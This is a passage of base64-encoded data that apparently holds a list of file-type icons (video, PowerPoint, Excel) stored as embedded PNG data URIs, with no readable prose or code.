hBZ0FZdzYzVDE5RHdDTXFOSWtEZjV1MVNROHVwaE9KODd1cjJxOG5hZVJYeHRMREVhdG16bHE4bU1LSzJ1M1hieURHNTFFNlhZd0lYeW5EcGwrSENtRHRXczR3alFvYXVkSmxFUWZ6MGlLSHBhYXJGL1RESUZ3YUFjV05McHUySndKUTJiNktpRjVWQWl6OVRzY1l1OGVueHpQSXdmYUE4VnVQVDM4WXdBc3FRaGpyaWgzYXNtUUFiNFcramdXV1JpQnhiNUZEcTFZQUhuL3dLVENYUkFENGFhZkRVakxVQU42cTRNMHMrZU1JZ1B5azJERm1WaGNQK1BYbndYZzBvbWZrWU9zQ3dPQm5YSGJMVTBNTlVGYlJQazhJMmhFTmo1MHVtNmJPamNUbThlc3ZnZkdROGdEaG9TS2I5bklFd05mdUFxZ3N1a0RlZE5tMWU0WWF3RnNaTEdYaWFFcE9yenJ0NWk3cGVabFBmMXNBUmlZUVh5Y0t3RnQ1OUJvbThWVUVnSTZuQ1Z3WGxxejJXYU1OOWhwdys0NWNDalo5U3dTekNpRmdackZkNjdSTkc0ZGVRQS8rUWNCWU5TYU15NHRYYUQ4cWdFamVFZHhMd0l5b0Y5cGlBd2Nid085dk5aK1VHVHRCdUZaWlZ1SmdvTmw4ZFVrSnljVHdjZnVDU3doY0Y0My8zNXdPVFdXKzhaTzRyTHBqR29YazdwZ1ZFb1VINnlBejhxQi9UR2xOQkV5UC9JOURrdmlHWXRzWUZRMnhGdDFtdndVd0pSb2xUN3JzNXVjNkFTU0UwZ1lBazJQQ0RMUzU3TnE0d1VnbHZINjlpUm56bzFIQUlMSzc3RnBWb3ZMR3M4Y1hmQVhnKzJQUmtRbWVZcmRiMnJvQUdDOVVCaWc2YmljS3oyRlFGak1xWEE3THU0T1J6TG45ZWhVeGxvUGxDUUlWZG5kNGVmM3R4Y3kwTmdaRlRDdUtIT2FLZUQrWjlyLzZBNTFPVjFkejV2R1F2cENaOXJzS3RaK1QvKzMxQjFjeVM0K3FJcFQ1NWVZaXU4V284T0tIN0JuVkE4WWNLUlUwK1FHamdKbXBYTjZIZ3Fha2hOT3lMdW9vQmRoMUdvby9Td3NmbTdkaXhjVGppYUJuREdBSUQzWko2ZmJwZGdKaTVhbVJ2SDM1anlrODc0SGxYVzgwVWdKUUVIMHM2bk1MQW5jd1kxTmtBWEp6WDRyNk1uOXdrV0JXRndFQTE1L1N0T1hKMldsS2F5QTVSbnU3VnNuSmE1a09JcU44Vk5jcVlEemZXR2Q5dkMvcnprZ3RUQ2FJSXB0bCszK05UOWtEc1VsN3V0aGl3QXZRU2dKVXRRWG0zMFZHK3JTejZtSXJEdEhMMVNJekh5VVdjeHMzWkhVNm9QcmlpZDdHOU5zRDBUanQ4WEpYRW4waENNc2FhN0orNmsyWlZMNFBFQUNRZUwwT3hpOGcya09RRFEzcnJlLzM1U1l1RmVYVnRweXE0TmtpTnd6d2YzdGkyQVBESHVpbkJZWkRxSjhHN0xmNHZ3WC9PVzFLSGdrL0FBQUFBRWxGVGtTdVFtQ0MiLHZpZGVvX2ljb249ImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBREFBQUFBd0NBWUFBQUJYQXZtSEFBQUFBWE5TUjBJQXJzNGM2UUFBQ1F4SlJFRlVhRVBsV1d0c0ZOY1ZQdmZNekw2OU51OFkxNlFDQWFKQ0NBS2xnR3lNcVlTVVNDVWlsa1ZRSlBvbmtWQUpsZXprQjVINnd3U3EvQWpoWVdTWlJyRUVTUGtUUnloZUlSSFVCNDhFV1JCRUhjQkFpQXRXWFdOaldLL05ldkY2SHVkV1o3eHJadjFZN3poMUVxbjdaKy9NM0xsenZuTys4N3BYUUpaZkxCYjdwV21hV3dCQVpKczMxV2VLb2tBMEdzVXpaODYwVkZWVk5VOWxuUWtGNit2clcyU2FaaHQvUklocGtkK1dOejgvSDdadjN3N0paTElzRW9sY2NndGlRc242Ky92ZkpxSmpVa29pSWdRQUFvRDBmL283enVzcGpmUHk4bkQzN3QyeXZiMWRhSnBXY3ZiczJjdHVRRXdJSUI2UDd4a2FHcXFkVHUyem9NRmdFUGJ1M1F1ZG5aMHdORFFFcXFxV25ENTlPbWNRV1FFa2s4bGExandpb20yRzFQK0kraDNYem1kdXhxRlFDQThjT0VCZFhWMWdtaVlPRGc3eThxV05qWTFmNTJLSmJCVGFZeGhHTFZOb05BQzJpcFFTM0FqS3dvdzNQeGdNNHNHREI2bW5wd2RZUjdxdXkyUXlLUlJGS1RsNTh1U2tscGdVQUgrWWhVMEw3YVJVK3I1emp0dXgzKytIWThlT1FXOXZMd01Bd3pCQTEzV2JUa0tJa29hR2hxd2dzZ0pnSDVodUN2bjlmanh4NGdROWZQaVFCVWJETU1nMHpSRTZCUUtCMHRyYTJnbnBsQldBcnV2VFRpRlZWYkczdDVjYUd4dGhZR0FBVlZXbGxHV1pjVGFkMXF4WlUxWlJVVEZ1aUowUVFDd1cyMk9hSmx0ZzJuOU1TNi9YeXo1aTA5WDU0MmY5L2YxL21UOS8vcTd4Qk1tSlFsSktGRUt3WnV6LzlFTE82Nm1PYzNpUDgwdmQzTGx6MzNZRmdDM3dZL2hBRHBHTWxWWTNiOTQ4OXdEWUI2YWRQN2w5d0QyQUowK2VwSDNBV1VMOHowdUpVZVhKZU9YSTFDekFBRGlSamFxQmZoSUE3QU9GaFlYdUtOVFQwL09qUmFISldDU2xyQ3NxS25JUDRPZGtnU2tCR05lSmhRRGg5WUowMnlNWUJvQnBabGQyZXMxUnVZQXRVRnhjN000QzNkM2RZMzFBQ0FSVnBXaDlQWVFWQmREam1iUUhFQUNZaUVZSk4yMkMwUHIxS0JPSmRCN0o3REc4WGpDalVSU1dSVXBCQVJkZ3p1ZFRBNUN5d0VnVUV1RXdkbS9iUnJPQ1FlaHBhd056YUdoU0FCSUE4d3NMS2FDcU1Qam1tMWl3WlF0SlhiZUwwM1NBRU9Fd0pTNWRBdS94NDlpM1lRUE5mdXN0a00vWHRoUFpnZ1VMM0ZtZ3M3TXp3NG1GcGtIL2hRdGdIVHdJRDl2YlFmRjRjbTQxeWJKQTB6U1l0V0lGelB6MFU1RHgrRENWRkFVZ0ZJTDRrU01RdkhvVnZydDBDUXJmZng5bXZQRUd5R1J5aEc2Y3lGd0Q2T2pvMkdOWjFrZ1lGVjR2eGI3NEFydHJhb2laTEpBVms5RmlaclVHR1FZRTVzekJKYzNOWlBYMWdmRDVNQm1Oa3ZYQkI2Zy9lRUFQV2x0Qm1DWVc3OTlQczNmc1lBQWpGaUtpdW9VTEY3cXpBQU53VWdoOVBvcEdJdml2Nm1wU3cySDNQYkZsMlVLdnVYV0xwR1ZCOU94WkRIMzJHYlhmdll1eHg0OUo4M2pBR2hqQUYvZnRvems3ZGdBNUFMQUZmZ2dBVzFpT1BFOGlFYmhYWFExcVh0NWtvWHZNY3haYUJBS3cvdlp0Nk42L0gwSTNic0MzVjY4Q0NRSElWQUlBS3g2SEpSOStDSE8yYldNZmNLNVJ0MmpSSW5jV3VILy8vaDRpeXFCUVQxTVR0bFpYa3hZS3ViYUFKQUlsTHc5Zit2eHordmZycjhOL0hqMUN6ZXNsYm1KU3pnem13QUQrNnRBaG12dnFxeGxPekdGMDhlTEY3Z0U0RXhsVHFEc1N3UnZ2dkVQcVZBQllGcWloRUc3ODZpdjZjdUZDOE0yY09XYXJ4aGdZd0JVZmZVUXZiTjJhUVNGRWRBK2dyYTB0N2NTMnR0SHJoYzVJQlA1WlZRWGFGQ21raE1Qd20wOCtnYis5L0RMNDgvUEhSREVqSG9lWERoK0dJZ1l3aWtKTGx5NTFad0VHNEhSaXhlZWpqa2dFcjFWVmtRUEFwSGtnSGFrNGxLbytIMVowZE5DZG8wZmgybnZ2b1JZTWtsQ1U1eFNLeC9IWGh3OVQ4ZGF0WUkxeTRtWExscmtEY08vZXZZeHlXdkY2cWIycENadlpCNExCS2ZrQUE2aThjNGNzdzRDKzI3ZnhyeFVWeElMeTJyeWdrVWhnNmNjZlU5SG16VUM2bmhGR2x5OWY3aDZBc3haU3ZGNTQwTlFFbDk5OUYwWUFjTTNpckYreWpEa0tjZkxiY2ZjdURQWDJjaGxpVStqTHlrcDQzTklDbmtBQTlHZlBvUHo0Y1VnQnlJaENyZ0cwdHJhT3NjRERDeGZ3SDd0MmtkZnZIL1lMRnp0ejBqVEJOM3Mydm5ibENnM0ZZdmJyQXBFNHVYMnpieDk5VzEvUFdSSEw2dXVwcUx3Y0xFY3B3VkZvNWNxVjdpd3dHZ0NIT2s5K1BwNWV1NVlTUFQyUTJyVkczcm16ODRRUUU0NTVXMUluZ3JKRGgvREZWMTRoYTloQlJ5amlLU2lncm9zWDRkek9uYmpwNkZINnhaWXRHUlNhRW9DYk4yK09iV2k0bE5ZMHVIWGtDUFIvL3oyZ3FrNmUwSGhYVDlOZzBmYnQ4RUpKQ2NmNmNkOWhpckpsbUZyanJGdTNhdFVxZHhab2FXa1p0eWRtc3lzK0g0amg3Smx6RkdLdE94d3p3d0xwUkNhR040YnNqYTJNYWxXSXV0V3JWN3NEY1AzNjlZeE1QS28zNXYway9rck9BRkpxSDdkcFR3T1lZRDNlR2E5YnUzYXRld0NwbmJtZmZGZUMrd0hYQUs1ZHUvYXphZW9ad0xwMTY5eFo0TXFWS3huOXdIUWRNZVZBUTdzajI3QmhnenNBemMzTjZaNTQ4a2d6elRPNEh5Z3RMWFVQSUYwTFRlY1JVdzdKa0tmOEh3SzRmUG55SDRubzZEU3pJNmZscFpUMUd6ZHUvTU40a3ljOEh6aDM3dHp2QW9GQXhIRStKb1VRd25FQWtiNjJzMDdxbWV1eDR6MGVqaHh3T00va1ROUDhVM2w1K1orekFwQlNpc2JHUmt3a0VwcWlLSXBoR0ZoVVZGVHI4L2syODR0U3l1SEc5Zm1QcjBmZnkwbWo0MHl5dUNWMjNoZEM4TFhRZGYxV1gxL2Y3NVBKNURQTHNxeGdNR2hVVmxaeUt6cXNyUFBuejZ0ZFhWMUxpV2dKQU13RGdMa0FFQ0tpQWdEd2NpRW1oT0FtbUR2NXRNQnN1UUNmVTl0cSt3RS9PV3pTQkFBOFMyVjNYbzJGajBzcEIzaDlJWVNPaUgwQXdJVlVEd0E4UXNSN2hZV0YzNG1HaG9ZOFZWVmZFMEw4RmhHTGlXZ1dBSVFSMFVORVhnRHdJS0pnSElpb0VoR0Q0SS95TmQrM0RaU0tKallZTG1sUzl5Y2E4M3hiTjZtNXZCN2Y0L1ZZZUpNUCtJaUk3N1B3UTF6UUFzQlRSSXdTVVllVTh1K21hWjVtVG90VHAwN05STVRaaXFMTU5FMlROMzFtQ0NHNDZBOFRVWmhQRWkzTHd0VHpFYTN6eHkzTFlsOVFoQkF6cEpTK0ZMQnNBRmlvcEtJb01kTTBMVVZSMGtyZ0VsMmFwcGtRUXZRcWlzTEhyWHpJL3BRRmwxTHlFWDVNVmRXbmxtWDFFdEdUblR0MzlrNW8vcHFhR2l3cksrT2pmNXMyZkFTcTY3ckd3bXFhbHZIZTRPQ2c4SGc4QVNMU0dGQTJSckhBaUdqb3V2N003L2RuekRVTWd4bGxlVHdlSXhRSzJhYjErLzNXeFlzWHFhYW1adVJ3MGJuK2Z3SFQ4ZEd1cEhZdXd3QUFBQUJKUlU1RXJrSmdnZz09Iixwb3dlcnBvaW50X2ljb249ImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBRUFBQUFCQUNBWUFBQUNxYVhIZUFBQUFBWE5TUjBJQXJzNGM2UUFBRUtKSlJFRlVlRjdkVzNsd1ZlVVZQOSs5TC92eVFsalZJSUZnSVdSWEVzUVdoZHJSUVczVm1WS2RWZ1MzYW91Z0haWWlLTWF0SFFzaVJDcjlROXhxcmRaU3A5T3hNNklzMmlxTE9tNERLRnNTc0tpQWhMQWs0YjEzNzlmNTl2UGRlMThTckNLV0dhYzM3OTE3MzNkKzN6bS84enZuZkNYd0RmL2I4c0RQVDB2UmpBWkkwbk9wVDJ2OVZLS2NwSkwzMWk1OCt2R1RzVFJ5TW42RS9jYmF4c1pZSVh3K0t0dDN6L0ZkT29aNHRNcnp2WkhnSll1OVJBTDhSQmZReEhId1BSOThtcHc2ZHNXcXAwN0cycjRXQURiZU1hMXZmamJVT3E1YjUxT29COThmNVh1cDRYNHltVTJUQ2FESjQrQWRQeTd0bzBCOXlxOHBwZnkvYnhVQXUrK2JYbmJVaWRXN0JHcFNRT3VJNTVWVEwxVkNreW5IUzNTSm5mVjhiU1NBTk5iM21jbkNjQXNBNWdHcFU4OEROamMyWm1abEh4NU5BZXBTQURVT2hTclA5OHVKbDR4N1hRbWdYbElZeXd5amNqZkZCVEpTWExQUDJFNnpHL24veXZ2RlY2Y0FBRHNXemhxUUFtK3M2N3RqU1N4V1RwTjBPS1dKNFY0cWxVa1Qwb1VUQ1IyaTNPaW8zVlFBY0lPNWVRZ0E5b3dBeWdDZ1F1QWtlc0QyMzg2dGMxMTZudWVRczExd3lqM2ZLNk4rYWdBejFFOGx3RHZlSlhhUjc1Sll0TmxCZXplVk80dmRUWDgvL283SHZRd0I1UkVuTlFSMlBEaWIwaFFqSlJhcm5sZ01XNVRjUGJWRGV0SGF1TjY1c3c0Qitad0FVN3hmQThVQk1OemdnM2Z5T09DaitUY0s1NVM3SzlZWDJHbnB2Z0lNdzlqbTJyaHpjRGVqN3JjQTBQRnZBUEI4Q3JreEI0Z0tHZWwxeXZ1a0c1by9NYmppVTdST0Zhbm1NN0VtNm9GUG55WU1BTFBieXNNWmtka01iUWhMa1pkd2Z3V2V2WnRpRVlJYjFEdmxBdVF6dmdaWjhnRHl1T09lRHl3L0Z6QVFWS0syakZTL3ExK3UxNEo1eHVCbXZCV2h4a0VJQTREY1g4VzBuYnFVY1hJUk9GUjBTc09wVGdLZ3dNQUE2SFVoai9NcHVJUEx3Q2tzZ3BqalFFRjJGaENHZ2dJQWUwUHdXdTYrdVRWZ3VMei8ySTdOa0R5NGo5OU50czYvUVRpNElpSU1RSUM5STlrZTd6UjJaNTNxd2dEbytNY0FJSThiT1BsV3lLMm81eHlSbVprSmhZV0Y0RGlPOXFiLzlhTGxrVVk0dEdrdHg5UUdvQWYyVnJsYkFjWkRoNE9uZHJDSFRLSGV6MEZESkJyUUN3b0FaV2hHUmdiRTQzSGhDVi9CdnpBQWFxY3hBSkZzanczdEpsTklWMU84b05PbThxNmd4MW1rQ3hBRWdCa2VpOFVzRURwMmJvV0Q2MWREWnQvK1VGQTVHbklHbC9VYUdnWkEyOGExS0FRaWNuRjNiTTgyekpDWVVYTTJVU3FSWTN1SjhSck0xSVlEZkVwaDBPUVprRnN4V2l4UTdyb0NnWVVEdXo3MDl1dlErdWo5bWh1eUJ3K0YweWZkQkFWVjlUMENvUUdnRk1qV2VkZmJISkNPdlpGc1piL0FBZWd1VTRqY2d1N3hoYllRSENvVklKYkQ0anNNQURaZVdjVThnWUhRL3M2L0VBQW1uSXJIWHdZbGs2Y0RjV05wZ1docHVodmFOcTNqYXhNQVJPUmk5YlJKWmJadVY2blRFR2lRRDVEUVFlSkhBNkJUcEhxdmdJZUZ6YUJycGtOZVZRTmY0Tkd0NzhLUkR6WkNSL1BIa0dwdmcvTGYvUkZjMXdWLzIzdXdtM21BZXFFT080RGljUmZEbVRmTzZSNEFIUUpCQUNMWjI5WUVYTDVxblkveXVDTEVBSCtJTXRmd2gwV2N5T013QUU2OEgzeTJjZ1YwN3RrcFFrRjhDUlZOTC9BUU9QYkJSamp3NUVOR0xPbmZGSGFYVEwwZCtrMzRZU1FJM0FQQ0FIeFpuUitsSEkxYUROY0ZVZlVEQ3crNWw3NFA4WEVUNGNDL1h3YWFTbktQNE1iTEhhNTg1Sy84c3YzZE4rRFRKeFpERGxlTTZwM2FieUdXSDRmeVJjK0FtNU1YQXNFQXdFTGdEc2tCT0thUjZqSmxxMTBFOFIyTkZESlNGdXRGNFRnM2h0amxzR1lIbmxJOUFQQllYY0tNNSs4UnY4MzRzS0pKQUhENHZUZGh6NHBGNEFKb0VDd0JSQ21VVExrZCtsMTRlUWlBNXFhNzRSRDNBQTJBaVVPeDdqQkQ4NDk4SHpLS2lpRjNjSmtNQWZGdVA1V0U1T0UyNk5yYkNyNHNrL21hUTNGdXkyZjFXOEYwbWZJODREREtLcFNIZ0VUYkF1Q3hoZndiSnBHMEo2Q1N1NkM2QWNwbVBaZ0dnRFVpdElRSElBQ0M3RTE5clVLWlFmSHFCamhqOG5SZHlXbkEySzUxZFVMN1c2L0R2bFVySVhYMHNBMEFFajdpR2ZaZUV5ckt4ZGx2cEh6V0ZERVpReG5QL0tTeWFhWHhnTWNXYWVOY1FpSGJkUVZROHRtTTRnRlFzZVQ1bmdDNFRxYkJNQWRZN2k5M05GNVZEMmRjT3lNU0FBVkc2c2doN3A3SFdyYWpNaGRWWXhKd0N3Q2RVbjN3cUErc0ltUzJjQm1nZlp1Um9BQ2dxM1ViSEZqOUQrNkppaU5jaDBCT1JvWXVvSWpyd3BCZjNCa0J3QUlSQWp3TjNvRUFpR1J2SkZrcGhkNEF3SDdSNnp3R094ZlBnOFQrVDJVRHhUYkVSOFdSMWdzeUEzblVBODluem0wNFF4RU9Bd0JMNHVBMVM1RzV1Ym5keXVibXBpQUFLdlVoQUNMZGsvb1FyMnF3UENCNTZDQjA3ZDBOMlNXbEVDdUlXNTV4OU9NUG9HVzVVR3VpQkJlRXlIa0RBeEFnWFFhQW9ROUJoQ3J0Vmk1N1VlOW9PaUNZV01ySnlVa0xBZ2RnZythQTYvanFGR0dwM1FpeXY0cmJJQUNIMzk4QWU1NWFDdUM2TVBDU3E2RDRna3YxQXRrN2RpMmFDNTJmN0FxMXZVTE5GVWw2akJ0WUNDZ0FDS29mR0hieHM4K1RHQ0tPUUQwRGR0bC80bzhoZitqSXRDQm9BSGdJekoxcWNVQ1l2YzNPc1VVWFZqVkFDZUlBRHNDVFN3U0hFWURTVytaRDd2QUt5V2tVOXYzemVkaS9hcVVFSUtBUGNNaWhRc3pqSk1qRWo3eWZlNDNzQ2NoMGFKcEZobHZVL1dYekZrUGUwSkZjTVdablo0YzhvWGtwQzRFMWtnUG1UcVZxTjdBWUVkc1libGltQTBBOVd6enVJaGgweFZRTkFGTmNlNTlkcnR2Z092V2w2Ull4VjJjQXFKQVJDc0UwUkFUTGEzS1F5MVI2Z1FLNERsUXNmZzdjM0h6K0hlc2pCTU9CQTdCaE5mK2VlNEFGQU9yWjg4VUdHcGFGMVdNaVBVQURjUDdGTU9qeUtRYUFEV3RnNzUvL2dIcU9nWnJCNmljSWljMHlnQldTTWp4MGp4QURvTVdTK0RCL1pDME1tL2tiWVp5c0pCa0kyQk1zQUxiOGVvb01lNXZ0UmNrVzF2bUYxU3dFYnROa3gwSmd0d3dCOXFORGZua241SldOTWlIdzBuT3dmOVhmYkFDaTZnMGNBbEowR1R1RkNqU0NSSGduTnhJUktNdUhwZE1hb2JCbVRNanRNUWpOUysvaUpNaDl5d0lnMUJFS055elRBVUJpTVJoNDZkVlFmUDRsTmdrdW5BTWRuelRMVEJBRUdjbHJpd05FMWxBQ0dZc2I3UDdZZUFaUWZua2REUDNWQTFZUFFXVXo1ZzBNaEt5c0xHaVJXYUI3QVBSYTdZWmxZWTN0QVNJTnRnSnJTTEFDUk10YUFEaXk5WDFvWFg1L1lNWVFyZjRrNHdoaXlzK0haUHNSSVhLUXREVk9nR0pleXVTTWZnTmgrTHlsa0ZFUTErNlBqVmU3d29qeFA4dnZGeVJvZVVDVWJwZVNGVGMrZ2dBb1V0TzBKSGN5MVhFVWRqMDBGeEw3UHhkRGtFQlgyRXFEOGp0eEg0WFRycjRadm5qakZlamN2VVBXQTFJTHlFMnhRYUdRUFhnWURKbTJBTEw2RHJSaW54ZFRxSStvcm5jL2VoOGNmZnMxSGo0bUJEQUEzWFNJZVFoTU1Sd1FCUUFyalBZOHRoQTZXclpyTnhaRFV4M1Zkc0hGV0Y4M1dDbVVYRDhUOGlwSHc4RjFMOEdCVlN2Qk8zWkVjb29waXRpN1lua0YwSC9pVDZEZmhNdkF5Y3l5ak5keEtDOHdFSzIvdnhjT3YvVWF1QVJ6UU1TQVV5ZzRYQ01BZEFlQTE5a0JiUnZYOGJ6dnNXSW9OR0pEQUFTVW9GQjZnbk1ZQUFXMVk4WFN2UlFjMi9ZaGRPejhDSktIOXZPUE1vcjZRMzVaT2VTTnJBWVNZOXBmS0tGMFhlT2dGN1FzdXdmYU42M2pDbE40QUU1OVVSMWltWVpZaFJabmFSQjVRR2ZMTnRqLzZ0OGgxWDRRT3ZlMmdKOU02anh0TlU1UjN1ZXZRd0FFcDBRS2dPNDB2OXJoRXpXZVBjY0FPTVI2Z2pZQTlrNHIzWTVqVlFEQVF1QjJsQWJYdys0bmxtaWRMKzRYeTdNYnAyWk1odHZrK2o3QmdoeVlraHRtUVdIZGVkcUxld0tpdHp1dlh0aTY3RjVvMnlTcndTMXpycFU2d0daN2NYTzRZUmtKd09NUHkzY0hqcnVnMmh6UENZTnpBZ3hhRUlDdjJuajJQdDRXWnlIQVNaQUIwSXQ1b0NqbTBuZ0FCMEFwUEt6M28vdU1PQVNzTVprTXhiNFhYZ2JaUTBiWURHNEVRRGpXZWQ5QVYwUm1vTXBUSklHYzRSV1EyYWVmdm9kUGhsUlROQVJBaFByRE5VSzhobkVBQ29IM1dBallBSVFib2FaRmJsS3F6ZnlLNW5tbmlCbXJ6dzNKcG9qMkpsRVg0QkpacUVUaGhDeEY2dnd2czA3cHJRdWdxR0dDRHFuV1pZM1F0a0ZPaHJiTW5od0lBYVArb29va1RvSlRnd0FzbHVzUEgzZXhKa3lTVE0xN2tkZFlLbFNFRXZ0SWJLeFNaYkk1cXZvRHFGZkl1MGZLQzNGOVFDbVV6bWlFb3ZyeE9sT29yakM3bjFnQUJOUWZUMk9CWmtWUEFFUWZrTUFORVFFd25oTUVtN0Q5THZ3UlpKZXlFRkRVWWdTTmNYVGgzaVliR0tEdzUreVczT0dWZGdqZ3JyQUFBTS8zdW05WXhtdk9qZlFBN2ZiNHZJK2xMcEh1VndvVE1UOG0zY0Uzem9iNDJkOExaWUYwaEtodkRHaUJkUGUzTnJIaHFDeUhOUUFxNW1Tc3BXdFlaZzA4SGVMMUY0Q2Jtd2V4M0h6by9LUVY5cjM4UXVpMGx5RzZNRG1LU0VCekJVdUYrakQ0cGprYWdLZzhmNkpwTHlTRWxyTEowR29lTW1UTDdHc0VCeUFBckhtL0lwL0lQb0hZUXRQZkMxZVBPRHVZUWdsNVhPaTlCb0N2dzNpMjRoYldFTmtrTzBJWWdONGRlQWozQ1RnQVVkV2phb0xLekdJQmdPc05lWi9pQXVZQlJlZU0wNlJsNGp6NmdFUlBXb0ZuQjFRVXRUWXRnRGJWRVdJQVdPMG4zU0dXVVduVkF2WUJDY1VkbHBDeFJtem1mdTBsQWIyQTZ3MEZRUDhmWEE0NVEwZUVTRTZsWXd3RFN2OHFaY2gwYUpnaDc2eEt5Q3p1YjdMQTByczRBS0lXa0FEMDdtaGNlS2QxcGhDQkZCNnJLVm1NNHR4dWt3ZEkxeGNueFBRLzFFcm5zenlaU2tYYU0wMFRtWWVGa2FqcVpMODFkTVk5VURSbWdoRkN2Q08wV3FUWnpiTWtCL1IwNEtHN1RCSEYvRnBkQ2xPRUIrQ09rTjF0TmxuRWwrMHZtZk81N3VFNjFCaXZ4dVVSQUdpQVJDdVZQOHNBNkhQdTl6V216VXNXUVB2R1Y0RlNJZ0hvaFJUR0hXSzFJRHYxS2JhUEhyR3BaM0J6QmFjK0xZNG9oUUVYWFFHNXBTUGxqbW1KcDI2M3BDNy9ROTlpSkNFT2pieXpxdmhaSXNVRnV4NFdIc0QvNWg1d29rZmpvb1NNam0xMGRNYWFOQmxnVE5ZUkt3OU9pWWJjUEJmNmpENWY3eGdqTUMxdkl6bzhRWkxyaVJTYmw5d0ZiZXNWQUROL0ZxNEdBK292S3BYWlNpNTR0TmFjRDRxcUM0TGRacEZGVEJHRkFmaXFqV2Z2Mi9Yd2ZHaGJ2d1lJb1VBMll3QUN3MUc3STZRa3JJakhFUE5MY2tvL1lzTm5kYVVRa2pGcVMyRUtDZ0Mxayt6N25uYTFOMTZnM3NFQUVMTkJEVURQQnlSNGdSYlpPQTA4eS90N01sd2pEa0lGOVFMUElvRXBVZDZ3RVpEWlI4U3NNTXpNQkhCdHhIWlFKUVV6U2NiVkkzOWFHS3FIU3hRNnRuOElpUy9rVVZuaEFla1BOcXRlblJXckVTTXowY2dYWU5nQUJNbVJMMWtXUklIdlpLdk1zUXpHNXdxRW1lSk1nTWtvbVBrbDlRdmdBdWxRSXlyZlFuemZJNXRuL2xSS1lYU3kyNXJkRytXbm1WeEw1MmptbDZSaXp3T1JXclFGRktvNEpRQmNvMXVscnF5TDViREVTblVTZUdHeGNqMEVrTEphRGxVRkp2eDdqd0tzSU8vY2RoVjEyZFNFRFJMbEMzRERFaGRGT0pXcEZ3bEdOeVJtanJZRU84cjJVTE83OHdFRTZEVmpuMzM5VC9hT2ZUMS9rVGR1dWJLU09uU000enUxQUxRU0NCbmhPdVMwR0dHQUNHQU1Rd2NhcDdoeWxPN0dBUWlOMk93cHN3Nm5TTkxsMDZDVEIwQVVyaHVuWGRuM2FDTFZFUE5JQTdqZUtJZTQzeUVBbzJLRVpMSURxSTdEV2c1STFlbkpqbFJ0R0FCMUhmai9CUVdaSDdmS0NJRnZGb0FvVU5hT0h4OUxEc3V0elhMOEd0OGpWUVNnaGhCU25VRklNV05qSGthTWFrUDhFVEZsamppU2M4b0RrQzRDWDV0ODBWQ2Z1alVlOWF0SnpLdHpmVkpOSEtmVVpjTllTb0dkM0dKaEZKYlBhVWhYa05XcDV3RW5Ra0V2WGpHK3FLRElyUUxQcS9hVHptalhvZFZBWVZUTUpkbnNaQ2NEQmFlbzRKVElJZVRiRFVBVVdIK1pOTW5OaDg5R09FQnF3ZkhQSVQ3VU9RNnBkSW5UbjRIQlNKY0J3eVQyL3lVQTZUem9sVW5mUFROQm5IcVNQRjduZ1ZNVEkxQUJ4Rmt3Y2VXYno1eUkxMzNaZS84TFV4RkFkQldzQkpjQUFBQUFTVVZPUks1Q1lJST0iLGV4Y2VsX2ljb249ImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBRUFBQUFCQUNBWUFBQUNxYVhIZUFBQUFBWE5TUjBJQXJzNGM2UUFBRWROSlJFRlVlRjdkVzJsMFZkVVYzdmUrbDVjRUVtYUNUSUVBRWhJU2tqQWtRV3lMSUpNRUdTd3lCNEVxODZ5SWlocEdBOGc4ZFFJWnRESkloVlVtYS92RHBZSzFYVllyVUZuTHVXcnRrcllPV0pJMzNOdTF6N2pQZmZlRllKZUlEVXR6dWUrOGMrLyt6dDdmL3ZZK0J3dSs0NS94UDN1d2VjUzJpcVBSY0tudFdvWGhXRFRuY3JSNjJXL25iOXQxTFY3TnVoWVB3V2YwcnFnSU5tNFp6ZzNHb3QzQUNwUTRscHNmaTBZN1JaeFlvK3BvR0M2SHE2RTZFb2FvNDRBVGlkMzErcktuOTF5TGQvdFdBQmkrOVlIR3lTbXhRckNUaXdLeFdJOFlRRzdVaVhVSVI4TXBWZEVJVkVlcW9Tb1NZZmE1cmd1TzY2aHIxNFh2RndDamRpOXBING9HZTBCU3JNQ0pXa1d1NitSRW5VaXJjQ3hxWHc2SG9TcFN4VmZWY2NXQzh0K082ekxqK2JVR2dOMlBPTmVmQjR3OFdCRkt1d1RkbmFCVkZIQ2h3SEVoUCtyRWNpSk90SDVWcEJyQzBTamdiOGR4QU0xQzQ5aC83RzhnQU9EWC9MNDVSb054SFFBd1lXOUZodVZhUFcwYmVvYXNZQTY2Yjh4eE80Umo0ZERsU0JnaU1WelpDRmxCRjYxUks2dU1GQURnUjl4QURRQ3V0QVpEZ0lYajhNKzE5SUFwZTVZVldaWjdreDBNZGJYQnpnazdrZmFPRTh1b2lvU2hPaHJocThvdDRML1ZDc29WRnNZUkFPSmRHOGRvTjVjaEVNOEIzd0VBay9ZdGM1R1lxc0xWRUhHaTREcmNiYW1iMHRXTk0wNEFnbU9vVzh2WUZyZ1lBTlEwanZGQjFMMTJIREJreDBLMnJOSXdnNVd2Wkp5a05VZXNMb3QxZWEzZG1zL3Y2R2Y0eEw4RWlnR0FoQm15VlJhVWdMRjVWQmp4aitWaWVUL1Q0d1Q1aWdWU3RscHVETURhYXlFQWJMQ0tVODdLaXJPSmNaVFlwSWV3Q1FYeGNiTFRBRWptNS9OcnIvS080L05xWTl3b3ZodUFGUXFBYS9GTXJSYUllYWMybm9Za3Y0Ny9UTjVVTmtseXR0eFlIQURVL1dzMGp2Q0JkSDlwbU1uOHdqQUM1SlhHNVdTMGdjYXA5Y0FPQmlBcE5RVVFBK0dtWXRXbGtkcGlhUng3bWdjRUNpQmV2L2JSQmZqMGk0dHNFcXRzeHdJK3Q4alRmdkV2SitjcHpwL3QxVXA0bUYrNVlnSlA0bURvZEluZTlNakF5WEJ6VmdGYjlWQW9CUFhxMVFQYjFpR2hZdU1iWHN3KzlEaWNQSGVhQVdVQVVGdmoyRXNUSWVQTEh5S2svTnpmVkg5U0Y0Z01nd0FNbUF3M3R5dFE1aVVsSlVIOSt2WEJFdUh3RGUxV1g0c0hnTDVzYlkwVG1ZS3lQd2RHcGp0OVRlUGZMMFZTSlloak96WE5oTVoxNnV2WXR5eXdiQXVTNjZRdy81dFlPaGdLV3Q3SVBwLy96QVpKaTJLOHlRSFNNNHN5czJGeTZSRDJJUUp3NHV4cEVnS292OG1MNnpDSUowZEpOSEs4a2Y1aytoUXh3OGI0Q0NRSmxNSDhKRE